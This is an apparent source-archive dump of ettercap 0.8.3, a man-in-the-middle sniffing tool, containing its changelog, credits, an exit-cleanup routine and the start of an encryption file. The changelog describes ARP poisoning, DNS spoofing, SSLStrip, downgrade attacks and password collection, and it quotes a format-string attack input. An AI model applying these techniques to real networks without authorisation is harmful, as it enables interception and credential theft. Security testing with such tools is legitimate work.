ettercap-0.8.3/0000755000175000017500000000000013505247574013177 5ustar koeppeakoeppeaettercap-0.8.3/CHANGELOG0000644000175000017500000010120313505247364014403 0ustar koeppeakoeppea Legend: + new feature - old feature removed !! bug fixed ========================================= 0.8.3-Bertillon 20190701 !! Fix binary comparsion and assignment in etterfilter !! Fixed packetbuffer racecond. in BRIDGE mode (e.g. Message too long) !! Non-aligned filters are no longer supported (recompilation with etterfilter required) !! Fixed sslstrip plugin startup issue due to regex compilation error !! Fixed lots of build warnings !! Proper separation of library and executable code !! Fixed heap-buffer-overflow in write_output in etterfilter !! ip_addr sanity check when etterlog processes info logfile !! Lots of buffer under-/overflow conditions fixed !! CVE-2017-6430 (Fix invalid read on crafted file in etterfilter) !! fix dns_spoof plugin when used in bridge mode + SSL redirects are now customizable at runtime + GeoIP detection / support using CMake + Rework of GTK3 UI - modern GNOME3 look + New Kerberos 5 downgrade plugin + GTK3 is the new default GTK_BUILD_TYPE + OSPF dissector supports more authentication methods in hash-cracker friendly format + Rework of Oracle O5LOGON dissector + Multi-threaded name resolution + Updated etter.finger.mac - GTK2 phase out initialized - Usage of deprecated inet_aton replaced with current successor functions 0.8.2-Ferri 20150314 !! Fixed some openssl deprecated functions usage !! Fixed log file ownership !! Fixed mixed output print !! Fixed drop_privs function usage !! Fixed nopromisc option usage !! Fixed missing break in parser code !! Improved redirect commands !! Fix truncated VLAN packet headers !! Fix ettercap.rc file (windows only) !! Various cmake fixes !! A ton of BSD bug fixes !! Simplify macosx cmake files !! Fix incorrect sequence number after TCP injection !! Fix pcap length, and aligment problems with libpcap !! Bug fixes and gtk code refactor (gtk box wrapper) !! Fix some ipv6 send issues !! Fixed sleep time on Windows (high CPU usage) !! Fixed many CVE vulnerabilities (some of them already fixed in 0.8.1) - CVE-2014-6395 (Length Parameter Inconsistency) - CVE-2014-6396 (Arbitrary write) - CVE-2014-9376 (Negative index/underflow) - CVE-2014-9377 (Heap overflow) - CVE-2014-9378 (Unchecked return value) - CVE-2014-9379 (Incorrect cast) - CVE-2014-9380 (Buffer over-read) - CVE-2014-9381 (Signedness error) + Updated etter.finger.mac + Add TXT and ANY query support on dns_spoof + New macosx travis-ci build! + Enable again PDF generation - Remove gprof support 0.8.1-Lombroso 20141016 !! Fixed incorrect checksum computation on 64-bit systems !! Fixed DNS resolution problems !! Fixed hurd build failure (not specific to hurd but hurd seems the first OS defining ESUCCESS in glibc) !! Fixed rpath handling !! Fixed scan host crash with recent kernels !! Fixed etter{log,filter} library path !! O5LOGON dissector fixes for stealth mode scans !! Fix constants to allow full hexadecimal characterset. Useful for filtering on ESP SPIs !! Fixed some incoherencies in gbls pointers in utils and core !! Fixed dhcp spoofing automatically start in text ui !! Many fixes in filter compiler !! Fixed lua installation path !! Many ipv6 fixes and improvements !! Fixed tests build failures !! Fixed many iconv detection problems !! Fixed many ctime problems !! Fixed many dissector ports !! Fixed timers incoherences !! Fixed powerpc build failure !! Fixed uniqueness of our include guards !! Fixed cmake warnings, by correctly linking our libraries !! Fixed clean target !! Fixed COOKIE_PATTERN string !! A ton of kfreebsd, freebsd, and MacOS fixes and build fixes !! Fixed with a new "regain_privs" the ip forwarding restore !! Fixed another scan crash !! Fixed host list updated (delegated to the main thread) !! Fixed etter.conf.v6 and etter.conf.v4 installation !! Fixed (removed) some old code !! Fixed (removed) some dbus interfaces listed in ettercap !! Fixed some libraries link issues !! Fixed various polkit installation directory issues !! Fixed plugin path issues !! Fixed bundled libs building order !! Fixed undefined ips added to the host list (e.g. 0.0.0.0 in dhcp discover) !! Fixed macosx builds !! Moved check framework in bundled_libs directory !! Fixed crash on scan for hosts, by adding a mutex !! Fixed libettercap.so linking, by removing curses and gtk stuff !! Fixed ip_add_to_int32 macro !! Fixed a ton of warnings in gtk, curses and core !! Fixed some documentation !! Fixed tests with eglibc >= 2.17 !! Fixed check framework find, with fallback in the bundled one if not available !! Fixed bug in etter.finger.mac parsing !! Fixed ssl checks on cmake, now it is mandatory !! Fixed scan for hosts progress bar !! Fixed linux.org ip address on etter.dns conf file !! Fixed some memory leakages !! Fixed missing RelWithDebInfo on Cmake !! Fixed typos !! Fixed some performance issues in scan for hosts function !! Fixed race condition when scan progress was canceled !! Fixed cmake flags passing !! Fixed IPv6 build !! Fixed debug messages + experimental ESP detection/filtering + make etter{log,filter} ipv6 compatible + Enabled multithread scan for Curses interface + New appdata xml file + New experimental GTK3 support! + New threaded host resolution! + Many build and runtime performances improvements + Ettercap builds on windows (MingW) again! + New arp "smart" poisoning! + New base64 encode and decode functions + New execinject etterfilter command + New ipv6 hidden scan mode + New support for multiple plugins in UI mode + New uninstall target + Gnu/Hurd support! + Automatically refresh plugin list + Threading some plugins + A new function for self-destruct plugins + New INSTALL_EXEDIR cmake option, now you can have "ettercap" and the other binaries in two different directories! + New Null/Loopback decoder! + Added automatic irc notifications! + Added some debug and fortify-source flags + Added some travis builds! + Updated etter.finger.mac + Added support for parsing RIPv2 and OSPF MD5 authentication packets + Updated curl and check bundled libraries + updated etter.filter.examples file + updated TODO list + etterfilter now is IPv6 ready! + Documentation updated + Man pages updated + New nd-poisoning! + Increased IPv6 probe delay from 2 seconds to 3 - Removed hex_encode stuff - Removed ec_pap.c since it was already implemented in ec_ppp.c - Removed duplicate code, in favour of libettercap usage 0.8.0-Lacassagne 20130921 !! Fixed some problems in fork and execve usage in case of command failure (sslstrip) !! Fixed dropping privileges for remote_browser plugin ran as root !! Fixed infinite loop when a http GET was issued on the attacker browser, while remote_browser was active !! Fixed some "atexit" bad references !! Fixed plugin load on text interface, if no number were entered !! Fixed problem spotted when ethtool wasn't installed on the machine !! Fixed old "ethereal" references !! Fixed missing newlines in printf !! Switching to ps2pdf as default (from ps2pdf13), it should point to ps2pdf14 on all distros !! Fix cmake file, dropped MACPORTS_BASE_DIRECTORY !! Fix problem in "stopping attacks" window not properly shown in gtk !! Fix problem in wrong pcap file saving !! Fix issue in send_udp function !! Fix problem in libnet rc detection !! Fix restore ip_forward by retrying up to 5 times !! Fix socket issues !! Fix for hex format display !! New send_tcp function, taking payload and length !! Fixed memory leak in remote browser plugin !! Fixed comparison bug in ec_decode !! Fixed UI input for GTK !! Fixed some memory leaks !! Fixed man pages and AUTHORS file !! Fixes in sslstrip plugin !! Many etter.dns fixes !! Many documentation fixes !! A ton of refactors/fixes in Cmake scripts !! Fix GTK crash when scanning hosts !! Fix build failure on Mac OS X 10.6 !! Crash fix in target selection !! Disabled UID change for remote browser plugin !! Fixed remote browser plugin !! A ton of fixes in protocols and dissectors (dhcp, http, ppp, mpls) + New ettercap logo + Renamed help menu to "?", to avoid double "H" shortcut + New WARN_MSG warning message + Added message in DHCP spoofing when no mitm has started + New horizontal scrollbar for messages in gtk view + Disabled offload warning messages (only in Release mode) + New ettercap-pkexec, policy and ettercap.desktop files for launching ettercap -G as a normal user with sudo privileges + Automatic host list refresh in GTK GUI after scanning + New fraggle plugin attack + New fields in etter.fields file + Cherry picked debian patches (svg icon) + Added content print on http dissector + Added support for negative dns replies + Creation of (experimental) unit tests + Creation of (experimental) libettercap + Now you can build just the ettercap library (libettercap) without any GUIs + Added travis-ci support + DNS spoofing for IPv6 addresses + PDF Docs generation is not optional + Added SRV query handling to DNS spoof + New mDNS spoof plugin + New low level decoders + New decoder for ip over pppoe + Added PPP DLT to interfaces + Add experimental Lua support to Ettercap + New Bundle libnet and curl + Full support for wifi decrypting (wep and wpa) - Disabled update feature (not working anymore and not secure) - Deprecated napster dissector 0.7.6-Locard 20130327 !! Fixed some parsing errors !! Fixes to TN3270 dissector and SSL Strip !! PostgreSQL dissector: Update output format to reflect release syntax for John the Ripper 1.7.9-Jumbo-8. The old format is still supported, but deprecated. !! Fixed memory leak in SSL Strip plugin !! Fixed check in invalid ip header !! Fixed QoS packets handling (they aren't dropped anymore) !! Fix in o5logon Heap Corruption !! New and updated OUI file !! Some memory leaks fixed !! Fixed some bugs in return values and fstat failures handling !! Fixed a bug in some password display (didn't get null terminated) !! Many fixes in gcc warnings when building !! Better cmake module to find curl and libnet !! Fixed bug in filters load !! Fixes in HTTP and HTTPs protocols !! Fixed UI deadlock !! Fixes in tcp and http handling (infinite loop and crash) !! Better reads in BGP to avoid invalid reads + New logo + Added ascii FQDN support to DHCP ACK + Added UA parsing to http packets + Added support for IPv4 and IPv6 Tunnels + New mDNS dissector + Added PPI support (per packet information) for wireless captures + Ensure that we find required packages with cmake + New clean-all cmake target + Print a message when done reading PCAP file - Removed 'u' and 'p' fields from etter.fields 0.7.5.3-Assimilation 20130201 !! Fixed ncurses host scan crash (already fixed in 0.7.5.2) !! Fixed ppp connection crash (already fixed in 0.7.5.2) !! Fixed only MiTM mode selecting text interface + Changed to version 0.7.5.3 to help distributions. 0.7.5.2-Assimilation 20130129 !! applied patch to fix CVE-2012-0722 !! fixed username detection in TN3270 dissector + Added new private-key and certificate-file options for SSL MiTM + Fix for crash in ncurses multiple scan for host mode + Fix for crash in ppp0 connections 0.7.5.1-Assimilation 20130103 !! fixed set_blocking() method preventing SSL MiTM from working !! changed SSLStrip plugin to use PCRE !! more improvements to SSLStrip plugin + Added MySQL 5.x dissector + Added O5Logon dissector + Added iSCSI CHAP dissector + Added TN3270 dissector + Added MongoDB dissector 0.7.5-Assimilation 20121015 !! fixed more memory leaks !! improved GTK GUI !! changed build system to CMake. + Added IPv6 poisoning and capture. + Added NBNS spoof plugin. + Added SSLStrip Plugin (EXPERIMENTAL) 0.7.4-Lazarus 20111202 !! fixed resource depletion issue !! buffer access out-of-bounds issues !! fixed DNS dissector not working on 64bit systems !! multiple buffer overflows !! multiple memory leaks !! multiple files with obsolete code !! fixed SEND L3 errors experienced by some users !! fixed a compilation error under Mac OS X Lion !! updated build system (Please see bug track for issue specifics) NG-0.7.4 2005 + added the radius dissector + go into unoffensive mode if libnet initialization fails !! etterfilter now accepts empty blocks !! the log files are closed on SIGTERM !! fixed a compilation error under Mac OS X Tiger !! fixed an improper handling of wdg_dynlist callback !! fixed bound checking in some dissectors NG-0.7.3 20050528 + added the INC (+=) and DEC (-=) operators to the filter engine !! fixed the compilation of some plugins !! fixed a segfault in the isolate plugin !! fixed a bug in the dhcp spoofing module !! fixed a serious security bug (a format bug in the curses gui) NG-0.7.2 20041221 + the hosts scan can now be canceled by the user (ctrl+q) + the netmask for the scan can now be specified within the GUI + checksum_check was renamed to checksum_warning and a new option to prevent the check was introduced (see the man page etter.conf(5) for details) + added the help menu (inline man pages) + wins support for the dns_spoof plugin + new plugin: repoison_arp !! do not drop privs under windows (useless) !! fixed the mmap problem under windows !! fixed file operation under windows (O_BINARY related) !! fixed the IRC password collector (\r \n related) !! fixes the dumping of the profiles to a file (fingerprint not recorded) !! the remote flag is now reset when the arp poisoning is stopped !! fixed the ebcdic visualization !! fixed the autoadd plugin when a target is ANY NG-0.7.1 20040920 + added the -s options to issue commands to the gui (useful in scripts) + added the -I options to show the list of NICs + ported to windows (mingw) + added a new plugin: isolate + updated os and mac fingerprints !! fixed compilation of strtok_r under solaris !! fixed a pthread problem under mac os X !! fixed the compilation with gcc 3.5.x !! fixed message box character wrapping (gtk) NG-0.7.0 20040705 + implemented a thread safe strtok + prepared the source for a smooth mingw porting !! fixed numeric sorting in gtk interface !! autoadd plugin does not add the local address !! dump profiles to file now dumps even host without any open port !! fixed compilation under freebsd 4.9 NG-0.7.0_rc1 20040614 + WEP decryption for WiFi packets + support for prism2 headers + added the -I search option in etterlog + you can now apply filters on pcapfiles and dump the results + you can now specify an alternative config file with -a !! log to file works again !! fixed a segfault dumping profiles to file !! fixed a segfault when opening not-readable dirs from the curses GUI !! fixed uninitialized data that caused segfault in the dhcp dissector !! etterlog -c respect the -f specification !! fixed some problems with non blocking ssl sockets !! "should be checksum" is now correct NG-0.7.0_pre2 20040517 + added support for UTF-8 strings + telnet collector enhancements (catches cisco login) + added new plugins: + find_ettercap + autoadd + the live connections list can be purged by the user + SSL support for the following dissector: + imaps + ircs + ldaps + nntps + pop3s + ssmtp + telnets + support for vlan tagging (802.1q header) + support for rawip file dumps + multiple selections in the GTK ui for targets and hosts + wifi enhancements !! fixed the $prefix issue in the configure !! fixed a linking problem against openssl !! some fixes in the man pages !! compiles against old openssl 0.9.6x !! better error handling on file creation failure !! fingerprint submissions works again !! fixed the configure checks for libpcap and libnet !! ec[ip] files are now platform independent !! fixed the "etter.ssl.crt not found" bug !! the arp_cop plugin now does not report the ettercap poisoning !! the filters are respected even logging to a eci file !! profiles in the eci file are not duplicated if arp poisoning NG-0.7.0_pre1 20040415 + rewrite from scratch (the code is now cleaner and well commented) + it now requires libpcap and libnet + support for unconfigured network interfaces + automake and libtool are now used for the configuration process + etterlog utility for logfiles parsing + etterfilter utility to compile advanced content filters + root privs dropped after initialization + big endian arch support (sparc64) + layer 3 routing (forwarding packets) + new media support for: + wifi + token ring + fddi + ppp + linux cooked interfaces + unified sniffing (you can use external hijacker) + new MITM methods: + advanced ARP poisoning engine (with many-to-many support) + ICMP redirect + DCHP spoofing + port stealing + multiple target selection + pcap filter on capture + regex packet matching + hook points per packet type (TCP, UDP... ) + quiet mode (don't print packet content) + enhanced passive open port discoverer + randomized ARP scan + cached dns resolution (increase speed and stealth) + enhanced statistics on ettercap performances + extended headers for every packet + passive DNS answer caching + global conf file always loaded to tweak internal variables + etter.conf supports dissectors on multiple ports + possibility to sniff on loopback + autoupdate from website for passive databases + non root users can use ettercap to read from files + unoffensive mode (doesn't forward packets) + user messages can be logged + dissector enhancements in: + POP (APOP and AUTH LOGIN/PLAIN support) + X11 (banner discovery) + TELNET (collect even failed attempts) + SNMP fixes + MySQL fixes + HalfLife and Quake3 were unified + SMB + SSH (blowfish support) + SSL (totally reworked, runs on all platforms) + HTTP has gained performance overhaul + ...many others + new dissectors: + SMTP + CVS + OSPF, VRRP + plugins were unified, no more distinctions between standalone and hooking + new plugins: + finger (SYN+ACK fingerprinting on remote hosts) + smb_clear, smb_down (attacks against the SMB protocol) + curses interface improvements: + resizable under X11 + mouse event are supported + customizable colors + completely new menu-driven interface + totally redesigned GTK+ interface + you can filter data with a visualization regexp + profiles can be dumped to a file + A lot of new bugs^H^H^H^H random features to be discovered ;) !! offline sniffing actually does not bind to any NICs - packet factory was removed - some plugins were not ported +++ too many other improvements to be listed here +++ 0.6.b 20030710 + Plugins now works with GTK+ interface + Updated the passive OS fingerprint database (1279 records) !! Fixed internal refreshing (for huge traffic loads) !! Fixed wifi-dump support !! Fixed doppelganger re-arp !! Fixed a problem with signed char under mac G3 !! Fixed some possible buffer overflows 0.6.a 20030505 + Buffered Data Connections (only for ncurses) + New Sniffing method (Port Stealing) + Updated the passive OS fingerprint database (1189 records) + enhanced smb dissector + enhanced troll plugin against request caching + NEW PLUGIN: Confusion,Hunter, SMB suite + partial wifi-dump support (experimental) !! Fixed demonization problem !! Fixed StateMachine problem !! a bouch of bug fix 0.6.9 20030125 + GTK+ 2.0 interface (experimental) (--enable-devel) + Windows Plugins porting + Updated the passive OS fingerprint database (1093 records) + Dissector Proxy 8080 + NTLM auth + Enhanced poisoning method (solaris issue) + NEW PLUGIN: troll, PPTP suite + text and ebcdic view from command line + lc-convert utility (share dir) !! Fixed a LIBS problem under MacOSX (-lpoll) !! Fixed the VNC dissector !! A bouch of bug fix (too many to list here) 0.6.7 20020702 + Updated the passive OS fingerprint database (853 records) !! Fixed the strlcpy bug in the the telnet dissector (oops alor mistake) !! Fixed a possible sigfault in the rlogin dissector !! Fixed the exit_func for Mac OS X 0.6.6.6 20020603 + Solaris porting + Sparc architecture support even for all other OSes + Windows 9X porting + Increased the speed of arp storm under windows + Added the ability to bind a port on which ettercap forwards the sniffed traffic + The -H option now supports range ip + NEW PLUGIN: lamia (become root of a switches spanning tree) + Updated the passive OS fingerprint database (825 records) !! Fixed the pthread_join problem under MacOSX !! Fixed the -w options (openssl path related bug) !! Fixed the conflicting options -Y and -a !! Fixed the FindIface function under BSD 0.6.5 20020423 + Windows (CYGWIN) porting + Dumping to and sniffing from tcpdump file format is now supported + Sniffing from command line now capture UDP+TCP packet by default + Logging engine doesn't log the same user/pass/ip twice + Under *BSD and MacOSX ettercap now uses only one bpf + Added the -J options (onlyposion) to allow multitarget arp sniffing + NEW PLUGIN : - roper (Tries to stop ISAKMP for IPSEC traffic) + NEW password collector for: QUAKE 3, ICQ v7, MSN, YMSG + DISSECTORS enhanced: HTTPS - IMAP - NAPSTER (opennap) - IRC + PLUGIN enhanced: - leech (now it rearps the victim after isolation) + DOCUMENTATION translated in Polish and Dutch !! Better handling of CTRL+C !! Fixed a bug the the dlsym on OpenBSD 3.0 (plugin related) !! Fixed a bug in the handling of debug file !! Fixed the "not scrolling" JOINED visualization 0.6.4 20020212 + You can sniff traffic from a remote cisco router and make mitm attacks on it using GRE tunnels. + Added some bits for the passive OS fingerprint database. Now even the length of the packet make sense. + The sniffing interface now supports JOINED view + NEW PLUGIN : - thief (dumps all files from HTTP) - zaratan (redirect GRE tunnels) + ICQ dissector now searches for passwords on all ports + Updated the passive OS fingerprint database (675 records) + Changed arg 2 of Plugin_HookPoint for PCK_RECEIVED_RAW !! Under OpenBSD the pflog interface is ignored !! Fixed the DATA_PATH issue in the phantom plugin !! Fixed an unsigned short in state_machine !! Fixed some plugins that don't recognize the 'yes' answer !! Fixed the plugins symbol problem on Mac OS X (strip -x) !! Fixed the possibility of remote exploitation on interface with MTU > 1500 0.6.3.1 20011213 !! Fixed the truncation of passwords in some dissectors !! Fixed the -undefined error problem for Mac OS X (darwin 1.4.x / 5.1) 0.6.3 20011212 + Grell dissector (HTTPS) now handles proxy auth + Grell dissector (HTTPS) now correctly handles SSL & TLS + Better connection status handling + Updated the passive OS fingerprint database (530 records) - Removed the --enable-suid option, so it is clear that ettercap is only for root !! Fixed a bug that implied to send on the net every packet sniffed from it (introduced in ettercap 0.6.2) !! Fixed the ENOBUFS error on BSD !! Fixed a bug for the compilation with --disable-plugins !! Fixed a bug for the compilation on Mac OS X without dlcompat libs !! Fixed the configure script to handle the -bundle_loader option under Mac OS X !! Fixed the command line format bug exploit (`ettercap %x%x%x%x%x`) !! !! Fixed many security threats in the code 0.6.2 20011112 + Ettercap is now a multi-thread single process. + The connection handling engine was enhanced and sped up + Now filtered (replaced) data can exceed the MTU + Completely new plugin conception (hooking plugin) + Better handling for unknown passive fingerprints + Possibility to load/save the hosts list from/to a file (-j -k options) - the -k (newcert) options was renamed to -w + Updated the passive OS fingerprint database (501 records) + Updated the active OS fingerprint database (2001/10/14) + New 'TEXT only' view on sniffed data + NEW password collector for: HALF LIFE, NFS, SNMP, LDAP + ENHANCEMENT in the password collector for: MySQL + NEW PLUGIN : dwarf (logs all POP and SMTP activity) !! Fixed a bug when recognizing HUB or SWITCH !! Fixed a bug in the banshee plugin !! Fixed a bug in the filtering engine from command line !! Fixed a sigfault in the HTTP dissector !! Plugins are now installed in {prefix}/lib/ettercap, not in share/ettercap !! ettercap is now installed in the more appropriate {prefix}/sbin/ !! now the configure script doesn't require root privileges to run !! configure now handles correctly the --datadir=DIR and --libdir=DIR directive. 0.6.0 20010917 + Passive scanning of the LAN + Plugins ported to Mac OS X (darwin) + Doppelganger now uses the new REQUEST ARP POISON (see readme) + Grell (HTTPS) now supports virtual hosts + The Logging engine for the simple mode was rewritten from scratch + Now MAC sniffing can have only one parameter + Updated the active OS fingerprint database + Updated the MAC fingerprint database + NEW PLUGIN : beholder and basilisk + PLUGIN enhanced: imp and triton !! configure script tuned up. now it compiles missing libs only if needed !! Fixed a bug preventing SSL sniffing !! Fixed a problem in illithid related to the smart arp sniffing !! Fixed a compilation problem for FreeBSD 4.0 (getifaddrs related) !! Fixed a compilation problem for MacOsX (termios related) !! Fixed a ioctl() problem in phantom plugin on *BSD and MacOsX 0.5.4 20010726 + Porting for Mac Os X (darwin 1.3.x) + Reverse IP matching (-R option) + Spoofing of the source ip on start up + Customizable delay between arp request on startup + Added the Inet_CloseRawSock API (for debugging purpose) + Better handling of SIGSEGV and SIGBUS (for debugging purpose) + Updated the OS fingerprint database + ENHANCEMENT in the password collector for: IRC + PLUGIN enhanced: triton + NEW PLUGIN : arpcop, phantom, imp !! Fixed the "make_label" compilation problem !! Fixed a sigfault on OS fingerprinting !! Fixed ip_forwarding restoring bug !! Fixed some ncurses visualization errors 0.5.2 20010707 + Plugins ported to OpenBSD + Porting for NetBSD 1.5 + Added FreeBSD 4 support for source MAC address spoofing + Illithid (the sniffer engine) totally rewritten and tuned up + Doppelganger (the arp poisoner) totally rewritten and tuned up + New programmable filtering engine (see README for details) + Filter can be used in command line mode (-F option) + Possibility to scan only chosen IPs (-H option) + Possibility to select the delay between arp replies (-D option) + Checking for the latest ettercap version (-v option) + More accurate and faster start up host scanning + Connection killing method enhanced + New and more detailed man pages + ENHANCEMENT in the password collector for: HTTP (
parsing) + NEW PLUGIN : spectre, triton !! Fixed the interface shutdown bug... yeah ! !! Fixed "can't find grell_ssl.crt" error message in the rpm version. 0.5.0 20010611 + Full-duplex HTTPS man-in-the-middle support + Support for HTTPS through a proxy + SSH sniffing even from command line + Enable/Disable dissectors via conf file + Public ARP in simple mode + Smart Public arp (all but the target) + Dump of the pass to a file from interactive mode + Packet Factory enhancement (now the payload can be loaded from a file) + The newest config.guess and config.sub are now included + Updated the OS fingerprint database (2001/06/04 09:40:50 fyodor) + NEW password collector for: HTTPS, PROXYHTTPS + ENHANCEMENT in the password collector for: SMB, HTTP, MySQL + FIXED password collector for: IRC + DOCUMENTATION translated in : French, Italian ! Fixed many many bug... but some still persist... ;) 0.4.3 20010511 + Added a Protocol State Machine for dissectors + Added the rule "Log" to the filtering form + Packet Factory (create and send packets on the fly) + Configuration file + Code cleanup !! + Plugins can be launched from connection list + NEW plugin : banshee + ENHANCEMENT in the password collector for: SOCKS 5, IMAP, VNC, SMB, MySQL + FIXED password collector for: SOCKS 5 0.4.2 20010429 + You can specify the IP "ANY" + Logging all data to specific file(s) + Added the "demonization" feature (--quiet) + Packet filtering/dropping/search/replace + Improved the user/password hunting in datadecode module + Tuning of Doppelganger poison/rearp + NEW plugin : lurker + NEW password collector for: NNTP, X11, NAPSTER, IRC, RIP, BGP, SOCKS 5, IMAP 4, VNC + ENHANCEMENT in the password collector for: POP, SMB, MySQL ! fixed a bug in the fingerprint for *BSD ! fixed the handling of eth aliases ! fixed the activation/deactivation of Active Dissectors 0.4.0 20010409 + Full duplex SSH man-in-the-middle support !! + new startup mode (--broadping -b). + new sniffing method (PublicARP) + Injector now supports escape sequences + netmask switch added + added support for getopt_long even on *BSD + NEW password collector for : SSH1, SMB, RLOGIN, HTTP, ICQ, MySQL ! fixed the "sendto() 1518 byte" bug 0.3.1 20010323 ! fixed a nasty bug sniffing/sending big packets ! fixed telnet dissector 0.3.0 20010319 + Ported on OpenBSD 2.7 + UDP support + OS Fingerprint + Network Adapter Fingerprint + Password collector for: FTP, POP, TELNET + Injection interface redesigned + Possibility to check if you are in a switched lan or not. ! various bugfix 0.2.4 20010309 + Ported on FreeBSD 4.x + Plugin version control + Added -x option for hex mode in command line - Removed -1 and -2 options (better getopt parsing) + Ability to sniff in all direction (no more two hosts limit) + Silent mode (--silent or -z) (no arp storm on start up) 0.2.1 20010223 + Scrolling window for plugin output + detailed packets view in hex mode (SEQ, ACK and FLAGS) + identification of connections type (FTP, telnet, ecc) + ability to kill a connection from connection list ! sigfault when no plugin found and press return 0.2.0 20010219 + Plug-In support + Inet module totally rewritten and redesigned. + Downported to 2.0.x Linux Kernels (EXPERIMENTAL) + Added support for glibc 2.0.x 2.1.x 2.2.x + Scroll back in sniffing window (*very* *very* useful !!) ! after injection the connections are cleanly RSTted 0.1.1 20010209 + detect if there is another man-in-the-middle in the LAN + full telnet injection support ! ettercap defaults to the first up and running iface ! removed possible sigfault making host list ! now works with openwall ! various bugfixing 0.1.0.beta 20010125 * Initial public release... + Easy to use ncurses interface + Command line mode (without ncurses) + IP based sniffing (old style sniffing) + MAC based sniffing (for traffic between hosts and gateways) + ARP based sniffing (with arp poisoning for switched lan) + Characters injection in an established connection ettercap-0.8.3/THANKS0000644000175000017500000001652113505247364014114 0ustar koeppeakoeppea------------------------------------------------ People who helped us developing ettercap 0.7.4+ ------------------------------------------------ Antonio Collarino (sniper) for core and plugin development, testing and bug fixes Gianfranco Costamagna (LocutusOfBorg) for bug fixes and code contributions Eric Milam (J0hnnyBrav0) for modifying documentation, man pages, oversight, support, etc! Mike Ryan (justfalter) For the LUA integration (coming soon!) Ryan Linn (susorr) For the LUA integration (coming soon!) Dhiru Kholia (kholia) For the O5Logon, ISCSI CHAP, MySQL5, VNC packet parsing dissectors Others: halfie For bug reports and testing Agostino Sarubbo Gentoo Maintainer, for bug reports and testing Shoham Peller For issue bug fix #84 Barak A. Pearlmutter For the debian packaging and the TONS of pull requests of bug fix :) I'm sure there are a lot of more people (unmamed), but to everyone... THANKS! ---------------------------------------------- People who helped us developing ettercap NG ---------------------------------------------- Gigi Sullivan for hours of discussion on ettercap internals and for giving me the ideas for the new plugins engine and for some data structures that helped me to speed up the whole process... BIG THANKS !! Mathieu Masseboeuf for the invaluable effort in the Mac OS X porting G. Vanem for the native win32 porting for many other patches Will Jenkins for testing under Mac OS X Claudio Agosti for the idea of DNS passive queries Michele De Martin has provided me a token ring dump Iceman for the fixes to the man pages rgovostes for the redir_command for Mac Os X bartocc hack101 Hex for the redir_command for Open BSD Crizack Johannes Bauer for the prism2 dump Massimo Chiodini for the help in portstealing mitm method Jon Oberheide for gcc 3.5 fixes Kev for the invaluable effort to the ettercap forum for many of the site FAQ --------------------------------------- Copyrighted part of code or stuff... --------------------------------------- Fyodor for the services database Michal Zalewski for some passive os fingerprint (form p0f) Subterrain Security Group for some passive os fingerprint (from siphon) Nicola Bonelli for the TTL_PREDICTOR function Dug Song for hex.c (part of dsniff source) from which I took the hex_print function. OpenSSH team for the match_pattern function The Apache group for the base64_decode function (took from ap_base64.c) Ethereal team for the in_cksum_shouldbe function if you think you should be in the list, please mail me. ============================================================================== ---------------------------------------------------------- People who helped us developing ettercap (old versions) ---------------------------------------------------------- Max3232 for cleaning up makefile, specfile et similia... Gigi Sullivan for beta testing with glibc 2.0.x Lorenzo Porro (LnZ) for beta testing on Linux 2.0.36 Raptor for the help in the port on OpenBSD 2.7 VOODOO Nicola Bonelli for the help porting plugins to OpenBSD George Reid FreeBSD ports maintainer Murat Demirten Debian package maintainer Alter Eric for a patch in the Makefile.in dealing with ($LIBS) Niilo Kajander has provided me a NetBSD shell... Lee Hobart has provided me a MacOsX root shell... wow ! Paulo Madeira has coded the arpcop plugin Cristian Ionescu-Idbohrn for pointing out some configure 'not configurable' stuff and providing me the idea for tune up the configure script Georg Hofstetter for the HL-RCON dissector and for the TEXT only view in the data sniffing window Giorgio Zoppi for some security patch of the code A_D has provided me a MacOsX root shell... wow ! downtime for helping me with the plugin problem on Mac OS X Dax Kelson has provided me a Solaris root shell... yeah ! CAT Slackware package maintainer tavi for the Windows 9x porting Carlo Perassi for reviewing the plugin documentation Garph0 plugin porting for windows -------------------------------------------- Documentation Translators -------------------------------------------- Francisco Peralta Aguaron (10t8or) for the initial documentation. vacuum for fixing the grammar in the documentation :) Julien Bordet for the french translation of the documentation Matteo Carlo Sala (Ares) for the italian translation Joker for the polish translation Log C for the indonesian translation Roxann Voss for the dutch translation Rick Farina for the patch to my horrible english :) --------------------------------------------- Betatesting Team (only the active one)... --------------------------------------------- Crusher 4 Downtime Drygol Angel Georgiev great job guy ! Martin Nenov a very big thanks to him !! ;) Paulo Madeira your plugin rocks ! Rick Farina many thanks to you my friends ! Java JVM very big thanks!!!! ettercap-0.8.3/src/0000755000175000017500000000000013505247364013763 5ustar koeppeakoeppeaettercap-0.8.3/src/ec_exit.c0000644000175000017500000000301313505247364015544 0ustar koeppeakoeppea/* ettercap -- everything starts from this file... Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #ifdef HAVE_EC_LUA #include #endif /* * cleanly exit from the program */ void clean_exit(int errcode) { DEBUG_MSG("clean_exit: %d", errcode); INSTANT_USER_MSG("\nTerminating %s...\n", EC_GBL_PROGRAM); #ifdef HAVE_EC_LUA /* Cleanup lua */ ec_lua_fini(); #endif /* flush the exit message */ ui_msg_flush(MSG_ALL); /* stop the mitm attack */ mitm_stop(); /* terminate the sniffing engine */ EXECUTE(EC_GBL_SNIFF->cleanup); /* kill all the running threads but the current */ ec_thread_kill_all(); /* close the UI */ ui_cleanup(); /* call all the ATEXIT functions */ exit(errcode); } ettercap-0.8.3/src/ec_encryption.c0000644000175000017500000004427413505247364017003 0ustar koeppeakoeppea/* ettercap -- encryption functions Copyright (C) The Ettercap Dev Team This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include #include #include #include #include #include /* globals */ static LIST_HEAD(, wpa_session) wpa_sess_root; static pthread_mutex_t root_mutex = PTHREAD_MUTEX_INITIALIZER; /* protos */ static int set_wep_key(char 